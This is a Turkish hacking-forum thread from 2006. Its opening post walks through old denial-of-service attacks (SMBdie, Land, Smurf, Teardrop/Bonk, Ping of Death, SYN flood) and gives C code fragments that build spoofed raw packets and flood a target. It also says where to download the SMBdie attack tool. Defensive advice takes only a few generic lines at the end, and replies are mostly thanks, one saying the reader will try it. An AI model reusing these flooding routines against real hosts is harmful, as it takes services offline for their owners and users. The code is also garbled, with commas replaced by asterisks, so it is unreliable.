İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

Uzaktan Saldırı Yapma Ve Korunma Şekli

22-11-2006 19:23
#1
GLOBAL34 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2006
Nereden:
dünyadan
Mesajlar:
327
Teşekkür (Etti):
1
Teşekkür (Aldı):
32
Konular:
30
Ticaret:
(0) %
arkadaşlar sızlerle paylaşmak ıstedım sadece biligi ve sızler için oke. İnternetdeki saldırılarda Uzaktan Saldırı en çok konuşulan konuların başında gelir.Bu saldırılar internetde genelde "DDoS"*"DoS"*"Syn-flood"*"PoD"... gibi isimlerle anılırlar.
Bu saldırıların nasıl yapıldığının yanında bu saldırılar için kullanılabilecek C++ kodlarını da veremeye çalışacam.

İnternet ilk olarak USA milli ordusunda çıkmasına bakmayarak çok şaşırtıcıdır ki burada kullanılan protokol olan TCP/IP o kadar da güvenli değildir.Özellikle TCP/IP nin bazı
özelliklerindendir ki bu tür uzaktan saldırılar yapılabiliyor.Aynı zamanda bu saldırılarda İşletim sisteminde bulunan zayıf noktalarının da büyük rolü var.

Uzaktan Saldırılar için ihtiyaçlar.

Bu tür bir saldırının yapılabilmesi için en az bir tane internete bağlı bir bilgisayara ihtiyaç vardır .Bir tane bilgisayarla yapılan bu tür saldırılara "DoS"(Denial of Service) denir.
Fakat yapılabilecek saldırı DDoS (Distributed Denial of Service) olacaksa ne kadar fazla makina olursa o kadarda saldırının başarılı olması muhtemeldir.
Bunun için de genelde bir çok makinayı ele geçirecek ve bu doğrultuda kullanacak virüs(trojan*worm) yazılır ve internetde yayılması sağlanır.
Daha sonra ise aynı anda hedefe toplu sorgu yapılmaya çalışılıyor ve bu şekilde hedefteki bilgisayar sisteminin bu sorgulara cevap vermeye yetişemeyerek servis dışı kalması sağlanır.


"SMBdie" Saldırısı

SMB (Server Message Block) - Bu Microsoft un windows ta bulunan dosya*yazıcı yönetimi ile ilgili bir protokoldür.NETBIOS açık olan Windows (NT/2k/XP/.NET RC1) yapılan
bu tür bir saldırı onu etkisiz hale getirmeye yeterlidir.Teorik olarak SMBdie saldırısı ile uzaktaki makinada istenilen kod çalıştırılabilir.Pratikte ise bu yöntemle effektif DoS saldırısı
yapıla biliyor.SMB ni sıradan çıkarmak için o makinaya özel bir sorgu gönderilmesi lazımdır.Hatta bu saldırıyı otomatik hale getirmek için program mevcuttur bu programı
packetstorm.linuxsecurity.com sitesinde (programın ismi SMBdie) indirebilirsiniz.Bu programla saldırıyı gerçekleştirmek için yapmanız gereken şey kurbanın IP adresini ve NETBIOS
isimini girmeniz gerekir.Linux altında çalışan SMB ler içinde buna benzer program yazılabilir.

"Land" Saldırısı

Acaba DoS ve buna benzer saldırısında internete bir sürü sorgu gönderiyoruz* bunu yapmak zorundamıyız? Hayır! Çünki bunu kurban bilgisayarın kenidisine de yaptırabiliriz.
Bu yöntemle bilgisayarı kendisini yok eden kamikaze(kendine suikast yapan) dönüştüre biliriz.Bu yöntemde asıl amaç kurban bilgisayarın kendi kendisine
(Buna TCP/IP izin veriyor) fazla sayıda sorgu göndermesini ve servis dışı olmasını sağlamaktır.Bunu yapmak için kurbana gönderen adres kısmında kendi IPsi yazılı olan
IP paketi gönderiyoruz.Gönderenin portu ile Alıcı portunun da aynı olmasına dikkat ediyoruz.Bazı işletim sistemleri bu tür paketleri alınca IP paketdeki gönderen adresine yani kendisine
cevap göndermeye çalışıyorlar.Bu şekilde sonsuz bir döngü oluşuyor ve sistemin devre dışı kalıyor.Bu eski yöntemin en önemli kod kısımlarına bakalım:

//tanımlar
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
struct ip * ipheader=(struct ip *) buffer;

//ismine göre host arıyoruz.
hoste = gethostbyname(argv[1]);
bcopy(hoste-> h_addr*&sin.sin_addr*hoste-> h_length);

//port numarasını sayıya çeviriyoruz.
sin.sin_port = htons(atoi(argv[2]));
sock = socket(AF_INET* SOCK_RAW* 255);

//gönderenin ve alıcının adreslerini ayarlıyoruz.
ipheader-> ip_src=sin.sin_addr;
ipheader-> ip_dst=sin.sin_addr;

//gönderenin ve alıcının port numaralarını ayarlıyoruz.
tcpheader-> th_sport=sin.sin_port;
tcpheader-> th_dport=sin.sin_port;

//paketi gönderiyoruz.
sendto(sock*buffer*sizeof(struct ip)+sizeof(struct tcphdr)*0*(struct sockaddr *) &sin*sizeof(struct sockaddr_in);

Bu tür Land saldırılarının çok daha gelişmiş ve yenileri vardır.Bunlardan biride internetde bulunabilen "La Tierra" dır.


"Smurf" saldırısı
Yukarıda gördüğümüz "Land" saldırısı tüm işletim sistemlerinde olmadığından bazen etkisiz kalabiliyor.Eğer biz gönderen adresinde kurbanın IPsi
yazılı ICMP paketini broadcast olarak gönderirsek Bu sorguyu alan tüm subnete ait makinalar bu pakete cevap vermek için kurbanın bilgisayarına cevap paketleri yollayacaklar
ve bu şekilde Smurf denen bu saldırıyı gerçekleştirmiş olacağız.Bu yöntemle alakalı kodu görelim:

**** smurf (int sock* struct sockaddr_in sin* u_long dest* int psize)
{
// IP-başlık
struct iphdr *ip;

// ICMP-başlık
struct icmphdr *icmp;

char *packet;
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
memset(packet* 0* sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

//IP-paketini oluşturalım
ip-> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip-> ihl = 5;
ip-> version = 4;
ip-> ttl = 255;
ip-> tos = 0;
ip-> frag_off = 0;
ip-> protocol = IPPROTO_ICMP;
ip-> saddr = sin.sin_addr.s_addr;
ip-> daddr = dest;
ip-> check = in_chksum((u_short *)ip* sizeof(struct iphdr));

//ICMP-paketini oluşturalım
icmp-> type = 8;
icmp-> code = 0;
icmp-> checksum = in_chksum((u_short *)icmp* sizeof(struct icmphdr) + psize);

//paketi gönderelim
sendto(sock* packet* sizeof(struct iphdr) + sizeof(struct icmphdr) + psize* 0* (struct sockaddr *)&sin* sizeof(struct sockaddr));
free(packet);
}

Broadcast adresleri ile ilgili : subnet için bu adresler 208.131.0.0 *208.131.255.255 olacaktır.

"Teardrop ve Bonk" saldırısı

Bu saldırı bazı işletim sistemlerinin bölünmüş paketleri toplama işlemindeki bazı zayıflıklardan yararlanıyor.Bu saldırıda bilgisayara gönderilen 2 özel olarak hazırlanmış
paket parçası kurbanın bilgisayarının hafızasının silinmesini sağlıyor.Bonk atağı için olan kodu görelim:

//tanımlar
#define FRG_CONST 0x3
#define PADDING 0x1c
struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[PADDING];
} pkt;

**** fondle(int sck* u_long src_addr* u_long dst_addr* int src_prt* int dst_prt)
{
int bs;
struct sockaddr_in to;

//başlık paketini sıfırlayalım
memset(&pkt* 0* psize);

// şimdi ise IP-başlığını oluşturalım
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen + PADDING);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IP_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;

// Bölünmüş paket
pkt.ip.frag_off = htons(0x2000);

// UDP-başlığını oluşturalım
pkt.udp.source = htons(src_prt);
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + PADDING);

//İlk paketi gönderelim
to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;
bs = sendto(sck* &pkt* psize* 0* (struct sockaddr *) &to* sizeof(struct sockaddr));

//İkinci paketi gönderelmi
pkt.ip.frag_off = htons(FRG_CONST + 1);
pkt.ip.tot_len = htons(iplen + FRG_CONST);
bs = sendto(sck* &pkt* iplen + FRG_CONST + 1* 0* (struct sockaddr *) &to* sizeof(struct sockaddr));
}

main()
{
// Daha etkili olmak için bu şekilde 1000 kadar paket gönderilecektir.
for (i = 0; i < 1000; ++i)
{
fondle(spf_sck* src_addr* dst_addr* src_prt* dst_prt);
usleep(10000);
}
}


"Ping of Death" Saldırısı

Bu saldırıda özel olarak hazırlanmış 64 kb büyük ICMP paket gönderilerek sağlanıyor.Örnek kod:

#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

//ICMP-paketini hazırlıyoruz
icmp-> icmp_type = ICMP_ECHO;
icmp-> icmp_code = 0;
icmp-> icmp_cksum = htons(~(ICMP_ECHO << 8));
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
{
// değişimi hesaplıyoruz
ip-> ip_off = FIX(offset > > 3);
if (offset < 65120)
ip-> ip_off | = FIX(IP_MF);
else
ip-> ip_len = FIX(418);

// paketi gönderiyoruz.
sendto(s* buf* sizeof buf* 0* (struct sockaddr *)&dst* sizeof dst);

//doğrulama
if (offset == 0)
{
icmp-> icmp_type = 0;
icmp-> icmp_code = 0;
icmp-> icmp_cksum = 0;
}
}


"SYN flooding" Saldırısı

En sonda anlatacağım bu saldırı türü bir önce anlatılanlardan daha üniversaldır(genel amaçlı).Bu saldırıyı her türlü işletim sistemine uygulamak olur.
TCP/IP de 2 bilgisayar haberleşmeye başlamadan önce "el sıkma*tokalaşma" yapılır.Yani A bilgisayarı B bilgisayarına bağlantı isteyini belirten SYN paketi gönderir.
Buna cevap olarak B bilgisayarıda SYN/ACK paketini gönderir.Bu paketi alan A bilgisayarı B bilgisayarın hazır oldugunu anlıyor ve son olarak da ACK paketini göndererek
bağlantıyı sağlamış oluyor.Fakat Server bilgisayara çok fazla sayıda bağlantı isteği (yani SYN paketi) gönderilirse bunların bir kısmını red etmeye başlıyor.İşte SYN flooding denen
saldırı bu olayı kullanarak gerçekleşiyor* yani kurban bilgisayara çok sayıda SYN paketi göndererek diğer tüm gelen istekleri kabul etmemesini sağlıyor ve Servis dışı kalmış oluyor.
Şimdi bu saldırı için kodu görelim:

// TPC/IP başlığı
struct send_tcp
{
struct iphdr ip;
struct tcphdr tcp;
} send_tcp;

// başlık
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} pseudo_header;

int i;
int tcp_socket;
struct sockaddr_in sin;
int sinlen;

//IP-paketinin oluşturulması
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 0;
send_tcp.ip.tot_len = htons(40);
send_tcp.ip.id = getpid();
send_tcp.ip.frag_off = 0;
send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = IPPROTO_TCP;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = source_addr;
send_tcp.ip.daddr = dest_addr;

//TCP-paketinin oluşturulması
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = getpid();
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.res2 = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;

//sin ayarları
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.source;
sin.sin_addr.s_addr = send_tcp.ip.daddr;

//socket açıyoruz
tcp_socket = socket(AF_INET* SOCK_RAW* IPPROTO_RAW);
for(i = 0; i < numsyns; i++)
{
//ayarlamalar
send_tcp.tcp.source++;
send_tcp.ip.id++;
send_tcp.tcp.seq++;
send_tcp.tcp.check = 0;
send_tcp.ip.check = 0;

// ip kontrol sayısını hesaplıyoruz.
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip* 20);

// başlıkları ayarlıyoruz.
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy((char *)&send_tcp.tcp* (char *)&pseudo_header.tcp* 20);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header* 32);
sinlen = sizeof(sin);

// paketi gönderiyoruz.
sendto(tcp_socket* &send_tcp* 40* 0* (struct sockaddr *)&sin* sinlen);
}
close(tcp_socket);


SONUÇ
Şimdi bu kadar saldırıları anlatdıktan sonra onlardan nasıl korunacağımızı anlatalım:
* Firewall kullanın
* Antivirüs kullanın
* Güvenlikle ilgili son gelişmeleri takip edin.
* Yamaları*Servis packleri kurmayı unutmayın
* SMBdie saldırısından korunmak için Microsoftun bu saldırıya karşı çıkardığı yamayı kurun.
* Smurf saldırısın tespit için network trafiğini analiz edin.
* Yeni işletim sistemleri "Bonk" saldırısından etkilenmiyorlar.
Burada anlatılan saldırı çeşitleri dışında da saldırı türleri mevcuttur.Bunlara örnek olarak DNS flooding* Ping flooding* UDP bomb ...
Bu tür saldırılar hakkında daha fazla bilgi için aşagıdaki güvenlik sitelerine bakabilirsiniz
http://www.insecure.org*www.securityfocus.com*packetstorm .linuxsecurity.com/
Kullanıcı İmzası
Ne MuTLu TüRKüM DiYeNe

H4Y4L3 Y4Ş4Y4N MüZ1kS1z D4Ns 3D3R
TeŞeKuRe TıKLaMaYı UnUTMaYıN EmEğE SaYgıLı OLaLıM.LüTFeN
SeLaMeTLe KaLıN...

22-11-2006 20:40
#2
ROLAT - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
11/2006
Nereden:
bende bilmiyom
Mesajlar:
885
Teşekkür (Etti):
0
Teşekkür (Aldı):
116
Konular:
321
Ticaret:
(0) %
tşk kardeş
23-11-2006 16:28
#3
BY_CRAB - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2006
Nereden:
ADSL
Mesajlar:
382
Teşekkür (Etti):
0
Teşekkür (Aldı):
15
Konular:
80
Ticaret:
(0) %
Eline Saglik Biraz Uzun Ama Olsun
Kullanıcı İmzası
24-11-2006 08:27
#4
GLOBAL34 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2006
Nereden:
dünyadan
Mesajlar:
327
Teşekkür (Etti):
1
Teşekkür (Aldı):
32
Konular:
30
Ticaret:
(0) %
eyw arkadaşlar sızlerde saoLuN..
Kullanıcı İmzası
Ne MuTLu TüRKüM DiYeNe

H4Y4L3 Y4Ş4Y4N MüZ1kS1z D4Ns 3D3R
TeŞeKuRe TıKLaMaYı UnUTMaYıN EmEğE SaYgıLı OLaLıM.LüTFeN
SeLaMeTLe KaLıN...
25-11-2006 21:27
#5
combanant - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2006
Mesajlar:
27
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
güzeel bi bilgi sağol
28-11-2006 20:20
#6
GLOBAL34 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2006
Nereden:
dünyadan
Mesajlar:
327
Teşekkür (Etti):
1
Teşekkür (Aldı):
32
Konular:
30
Ticaret:
(0) %
sende saoL
Kullanıcı İmzası
Ne MuTLu TüRKüM DiYeNe

H4Y4L3 Y4Ş4Y4N MüZ1kS1z D4Ns 3D3R
TeŞeKuRe TıKLaMaYı UnUTMaYıN EmEğE SaYgıLı OLaLıM.LüTFeN
SeLaMeTLe KaLıN...
28-11-2006 20:23
#7
dead team - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2006
Nereden:
cehennemin dibi
Mesajlar:
632
Teşekkür (Etti):
0
Teşekkür (Aldı):
27
Konular:
111
Ticaret:
(0) %
sağol kardeş
22-12-2006 17:38
#8
Üyelik tarihi:
10/2006
Mesajlar:
444
Teşekkür (Etti):
0
Teşekkür (Aldı):
15
Konular:
18
Ticaret:
(0) %
saol bravo tşk
04-07-2007 15:52
#9
AnTiCorE__ - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2007
Mesajlar:
127
Teşekkür (Etti):
0
Teşekkür (Aldı):
4
Konular:
6
Ticaret:
(0) %
ElleriNe Sağlık yararlı bikgiler ama uzun biraz
Kullanıcı İmzası


AnTiCorE_[
mobile hacker]

04-07-2007 17:48
#10
talhaaa - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2007
Mesajlar:
2
Teşekkür (Etti):
2
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
tşk kardeş bi denicem

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı